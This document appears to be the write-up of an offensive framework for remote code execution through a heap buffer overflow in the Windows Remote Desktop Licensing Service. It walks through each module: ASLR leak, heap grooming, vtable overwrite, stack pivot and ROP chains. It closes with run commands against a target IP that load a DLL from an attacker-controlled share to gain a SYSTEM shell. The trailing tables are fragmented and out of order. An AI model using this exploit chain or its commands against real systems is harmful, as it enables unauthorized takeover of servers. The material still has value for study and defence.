
This document explains each component of the framework, why it exists, and how the heap buffer overflow exploitation works in modern Windows.
Windows Remote Desktop Licensing Service (lserver.exe) contains a heap buffer overflow in the CDataCoding::DecodeData function.
┌─────────────────────────────────────────────────────────────┐
│ VULNERABILITY: Incorrect size calculation │
├─────────────────────────────────────────────────────────────┤
│ 1. Client sends Base64 data of size N │
│ 2. Server calculates: buffer_size = (N / 4) * 3 │
│ 3. Server allocates buffer of 'buffer_size' bytes │
│ 4. Actual Base64 decode writes: ceil(N * 3/4) bytes │
│ 5. If N is not a multiple of 4: OVERFLOW! │
└─────────────────────────────────────────────────────────────┘
Concrete example:
(4001 / 4) * 3 = 1000 * 3 = 3000 bytes allocatedceil(4001 * 0.75) = 3001 bytes written┌─────────────────────────────────────────────────────────────────┐
│ EXPLOIT CHAIN │
├──────────┬──────────┬──────────┬──────────┬──────────┬─────────┤
│ LEAK │ MODEL │ WRITE │ GROOM │ TRIGGER │ EXECUTE │
│ (ASLR) │ (Target) │ (Where) │ (Heap) │ (Use) │ (RCE) │
├──────────┼──────────┼──────────┼──────────┼──────────┼─────────┤
│ leak.py │target_ │write_ │heap_ │trigger │code_ │
│ │model.py │primitive │controller│.py │reuse.py │
│ │ │.py │.py │ │ │
└──────────┴──────────┴──────────┴──────────┴──────────┴─────────┘
↓ ↓
┌───────────┐ ┌──────────────┐
│ execution │ │ payload │
│ .py │ │ .py │
└───────────┘ └──────────────┘
↓ ↓
┌───────────────────────────────────────────────────────────┐
│ mitigations.py │
│ (DEP, ASLR, CFG awareness) │
└───────────────────────────────────────────────────────────┘
↓
┌───────────────────────────────────────────────────────────┐
│ exploit.py │
│ (Orchestrator) │
└───────────────────────────────────────────────────────────┘
primitives.py - FoundationLow-level utilities for memory manipulation.
Exploits need to:
# Pack/Unpack - Convert integers to bytes and vice versa
p64(0xDEADBEEF) # → b'\xef\xbe\xad\xde\x00\x00\x00\x00'
p32(0x41414141) # → b'AAAA'
u64(b'\x41\x42...') # → 0x... (int)
# Cyclic Pattern - To identify crash offset
cyclic(100) # Generates De Bruijn sequence
cyclic_find(pattern, value) # Finds offset of value
# Alignment - Memory must be aligned
align(0x1003, 0x10) # → 0x1010 (aligns to 16 bytes)
Real problem: You cause a crash and RIP contains 0x61616171.
cyclic_find(pattern, 0x61616171) → exact offset!leak.py - ASLR BypassAddress Space Layout Randomization: Every boot/execution, addresses change.
Boot 1: ntdll.dll @ 0x7FFA12340000
Boot 2: ntdll.dll @ 0x7FFB98760000
Boot 3: ntdll.dll @ 0x7FFC55550000
Without knowing where memory is:
class LeakInfo:
"""Container for leaked addresses"""
heap_base: int # Heap base
ntdll_base: int # ntdll.dll base
kernel32_base: int # kernel32.dll base
# ...
class LeakProvider:
"""Orchestrator for leak sources"""
sources: List[LeakSource]
def obtain() -> LeakInfo:
# Try each source until successful
| Source | How It Works | When to Use |
|---|---|---|
ManualLeakSource |
In demos/labs, you can:
--ntdll-base 0x7ffa...This simulates having a real leak, allowing you to test the rest of the chain.
target_model.py - Target MappingModeling of vulnerable and adjacent data structures.
Overflow ≠ Exploitation. We need to know:
class VulnerableBuffer:
"""The buffer that will overflow"""
allocation_size: int # How much was allocated
write_size: int # How much will be written
overflow_amount: int # Difference = overflow
def calculate_overflow(input_size):
# Simulates the calculation bug
alloc = (input_size // 4) * 3
actual = ((input_size + 3) // 4) * 3
return alloc, actual, actual - alloc
class AdjacentObject:
"""Object that will be corrupted (adjacent on heap)"""
fields: List[StructField]
has_vtable: bool # Has virtual table?
has_function_ptr: bool # Has function pointer?
# Hypothetical object based on reverse engineering
license_req = AdjacentObject(
name="CLicenseRequest",
typical_size=0x100,
has_vtable=True
)
# Mapped fields
license_req.add_field("vtable", 0x00, 8, VTABLE, is_target=True)
license_req.add_field("refcount", 0x08, 4, REFCOUNT)
license_req.add_field("callback", 0x10, 8, CALLBACK, is_target=True)
is_target=True?Marks fields useful for exploitation:
vtable: If we overwrite it, we control method callscallback: If we overwrite it, we control when callback is calledwrite_primitive.py - Controlled WriteOverflow writes sequential data. But we need:
class WritePrimitive:
def build_overflow_data(self) -> bytes:
"""
Builds overflow buffer with precise values
Layout:
[PADDING until offset] [CONTROLLED VALUE] [MORE DATA]
"""
data = bytearray(b"A" * max_offset)
for target in self.targets:
# Place exact value at exact offset
data[target.offset:target.offset+8] = p64(target.value)
return bytes(data)
# Overwrite vtable
write_primitive.set_vtable_overwrite(
vtable_addr=fake_vtable_address,
obj_name="CLicenseRequest"
)
# Overwrite callback
write_primitive.set_callback_overwrite(
callback_addr=gadget_address
)
| Write | Result |
|---|---|
| AAAA... | Crash without control |
| Precise address at precise offset | Controlled execution |
heap_controller.py - Heap GroomingWindows uses LFH (Low Fragmentation Heap) and Segment Heap:
Grooming = Massaging the heap to a deterministic layout.
BEFORE GROOMING:
┌────┬────┬────┬────┬────┬────┐
│ ?? │ ?? │ ?? │ ?? │ ?? │ ?? │
└────┴────┴────┴────┴────┴────┘
Random allocations, unpredictable holes
AFTER GROOMING:
┌────┬────┬────┬────┬────┬────┐
│SPAM│SPAM│HOLE│SPAM│SPAM│HOLE│
└────┴────┴────┴────┴────┴────┘
Controlled layout, "holes" where we want
class HeapLayoutController:
def execute_full_groom(self):
# Phase 1: Fill existing holes
self.phase_fill(50)
# Phase 2: Activate LFH for the target bucket
# (Windows activates LFH after ~17 allocations of the same size)
self.phase_activate_lfh()
# Phase 3: Spray - create dense pattern
sprayed = self.phase_spray(200)
# Phase 4: Create strategic holes
# Release every N allocations
self.phase_create_holes(sprayed, interval=4)
# Phase 5: Stabilize
self.phase_stabilize()
trigger.py - Post-Corruption TriggerCorruption happened. Now what?
Current state:
- Memory corrupted ✓
- Malicious value written ✓
- But nobody USED that value yet!
We need the program to read and use the corrupted data.
class PostCorruptionTrigger:
strategies: List[TriggerStrategy]
# Implemented strategies:
class SecondRequestTrigger:
"""Makes a second RPC call that uses the corrupted object"""
class DestructorTrigger:
"""Disconnects - forces cleanup that uses corrupted pointers"""
class TimerTrigger:
"""Waits for internal timer to process corrupted state"""
1. First RPC call → Corruption occurs
2. Disconnect (trigger) → Server calls destructor
3. Destructor reads corrupted vtable → Calls our address
4. Controlled execution!
execution.py - Flow ControlRIP (x64) or EIP (x86) = Instruction Pointer
If we control the instruction pointer, we control execution.
class HijackMethod(Enum):
VTABLE = 0 # Most common in heap overflow
FUNCTION_PTR = 1 # Callback pointer
RETURN_ADDR = 2 # Stack overflow (not our case)
NORMAL OBJECT:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data... │ │ method1 address │ ← Legitimate
│ │ │ method2 address │
└─────────────┘ └──────────────────┘
AFTER CORRUPTION:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data... │ │ GADGET ADDR │ ← OURS!
│ │ │ GADGET ADDR │
└─────────────┘ └──────────────────┘
When method1 is called → Executes our gadget!
Problem: vtable hijack gives us ONE call. We need more.
Solution: Stack Pivot
# Gadget that swaps RSP to where we have our ROP chain
xchg rax, rsp; ret # RAX = our address → RSP = our address
# Now the "stack" is our controlled area!
# Each RET jumps to the next gadget in our ROP chain
code_reuse.py - ROP ChainsDEP (Data Execution Prevention): Heap and Stack are NON-EXECUTABLE.
Shellcode on heap → CRASH (access violation - execute)
ROP = Return-Oriented Programming
We chain "gadgets" - small pieces of code ending in RET.
GADGET 1: pop rcx; ret ← Puts value into RCX
GADGET 2: pop rdx; ret ← Puts value into RDX
GADGET 3: call LoadLibraryA ← Calls function!
STACK/ROP CHAIN (our controlled area):
┌────────────────────┐
│ addr of pop_rcx │ ← RSP points here
├────────────────────┤
│ value for RCX │ ← Will be "popped" into RCX
├────────────────────┤
│ addr of pop_rdx │ ← RET goes here
├────────────────────┤
│ value for RDX │
├────────────────────┤
│ addr LoadLibraryA │ ← Finally calls!
└────────────────────┘
# Load DLL (DLL Injection)
build_load_library(dll_path_addr) → ROP chain
# Allocate executable memory
build_virtual_alloc(size) → ROP chain + RAX = RWX address
# Execute command
build_winexec(cmd_addr) → ROP chain
payload.py - Semantic Payload| Type | Example | Result |
|---|---|---|
| Data | AAAAAA... | Crash |
| Intention | ROP + DLL path | DLL loaded |
class PayloadIntent(Enum):
CRASH_TEST = 0 # Verify if exploitation works
DLL_INJECT = 1 # Load our DLL
COMMAND_EXEC = 2 # Execute command
SHELLCODE = 3 # Execute shellcode via ROP
def build_dll_inject(dll_path: str) -> bytes:
"""
Final structure:
┌──────────────────────────────┐
│ ROP Chain (LoadLibraryA) │ ← Executes first
├──────────────────────────────┤
│ Padding │
├──────────────────────────────┤
│ "\\attacker\share\pay.dll\0"│ │ Path string
└──────────────────────────────┘
The ROP chain passes the string address to LoadLibraryA
"""
mitigations.py - Mitigation Awarenessdef adapt_exploit(config):
if mitigations.DEP.enabled:
config["use_rop"] = True # Mandatory
if mitigations.ASLR.enabled:
config["require_leak"] = True # Mandatory
if mitigations.HEAP_HARDENING.enabled:
config["spray_count"] *= 2 # More spray
┌─────────────────────────────────────────────────────────────────┐
│ EXPLOITATION FLOW │
└─────────────────────────────────────────────────────────────────┘
STAGE 1: LEAK (ASLR Bypass)
├─ Obtain memory addresses
├─ Input: manual or auto-leak
└─ Output: LeakInfo with module bases
↓
STAGE 2: ANALYZE (Target Mapping)
├─ Calculate overflow amount
├─ Identify adjacent objects
└─ Determine corruption offsets
↓
STAGE 3: GROOM (Heap Shaping)
├─ Fill → Activate LFH → Spray → Holes
├─ Create deterministic layout
└─ Prepare "landing zone" for vulnerable allocation
↓
STAGE 4: PAYLOAD (Build)
├─ Build ROP chain
├─ Include necessary strings/data
└─ Combine with overflow data
↓
STAGE 5: CORRUPT (Trigger Overflow)
├─ Send malicious RPC call
├─ Cause overflow
└─ Overwrite target (vtable/callback)
↓
STAGE 6: TRIGGER (Force Use)
├─ Disconnect or second call
├─ Force use of corrupted pointer
└─ Execution hijack
↓
STAGE 7: EXECUTE (RCE)
├─ ROP chain executes
├─ LoadLibraryA loads DLL
└─ ARBITRARY CODE EXECUTING!
↓
┌─────────────────────────────────────────────────────────────┐
│ RESULT: Reverse shell, backdoor, etc. as SYSTEM │
└─────────────────────────────────────────────────────────────┘
pip install impacket
# Just check if service is running
python -m madlicense.poc -t 10.0.0.5 --check
# Dry run (does not send payload, simulates everything)
python -m madlicense.poc -t 10.0.0.5 --dry-run \
--ntdll-base 0x7ffa12340000
# Full DLL Injection
python -m madlicense.poc -t 10.0.0.5 \
--dll "\\\\attacker\\share\\payload.dll" \
--heap-base 0x22345670000 \
--ntdll-base 0x7ffa12340000 \
--kernel32-base 0x7ffa12500000
# Execute calc.exe (classic PoC)
python -m madlicense.poc -t 10.0.0.5 \
--cmd calc.exe \
--ntdll-base 0x7ffa12340000
This framework is intended for:
NOT for:
Key phrase:
"Exploiting a heap buffer overflow in modern Windows isn't just 'writing too much'. It's a precise chain of leak → groom → corrupt → trigger → execute."
The 9 Modules:
Without any one of these, there is no RCE.
| User provides addresses |
| Lab/Debug with target access |
ResponseLeakSource | Extracts from RPC responses | If service leaks pointers |
TimingLeakSource | Timing side-channel | Theoretical, very difficult |
| Mitigation | What It Does | Our Bypass |
|---|
| DEP | Heap/Stack non-executable | ROP (code reuse) |
| ASLR | Randomized addresses | Info leak |
| CFG | Validates call targets | Call valid targets, then pivot |
| Stack Cookie | Detects stack overflow | We don't use stack overflow |
| Heap Hardening | Guard pages, etc | Careful grooming |